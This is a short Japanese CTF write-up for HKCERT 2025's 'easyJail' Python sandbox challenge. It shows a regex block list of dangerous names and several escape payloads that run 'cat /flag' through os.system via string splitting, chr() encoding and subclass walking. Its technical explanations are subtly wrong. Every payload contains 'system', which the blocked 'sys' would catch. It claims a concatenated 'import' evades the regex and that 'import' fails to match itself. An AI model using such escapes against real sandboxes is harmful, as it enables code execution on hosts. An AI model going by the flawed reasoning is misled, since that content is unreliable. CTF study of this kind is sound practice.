HKCERT CTF 2025 - easyJail
Challenge
香港CERT主催のCTFでの pyjail。
import re
code = input()
# 危険な文字列をフィルタBLOCKED = re.compile(r'(import|eval|exec|open|os|sys|subprocess)', re.I)
if BLOCKED.search(code): print("Blocked!") exit()
eval(code, {'__builtins__': __builtins__})Solution
正規表現バイパス
# 文字列連結でバイパスgetattr(__builtins__, '__imp'+'ort__')('o'+'s').system('cat /flag')chr() による完全バイパス
# 禁止文字列を一切含まないgetattr(__builtins__,chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95))(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))サブクラスから
# 'os' を含まない方法[c for c in ().__class__.__base__.__subclasses__() if 'wrap' in str(c)][0].__init__.__globals__['system']('cat /flag')Technical Details
正規表現の特性
import re
pattern = re.compile(r'(import|os)', re.I)
# マッチするpattern.search('import os') # Matchpattern.search('IMPORT OS') # Match
# マッチしないpattern.search('imp'+'ort') # None (コンパイル時に結合されない)pattern.search(chr(105)+'mport') # Nonere.I フラグ
大文字小文字を無視するが、Unicode 正規化は行わない:
re.search(r'import', 'import', re.I) # NoneAlternative Solutions
別解1: hex エスケープ
eval('\x5f\x5fimport\x5f\x5f("os").system("cat /flag")')# ただし 'eval' が禁止されている場合は使えない別解2: format 文字列
'{0.__class__}'.format(())Flag
hkcert{...}
References
- HKCERT CTF 2025 Official
- https://jia.je/ctf-writeups/misc/pyjail.html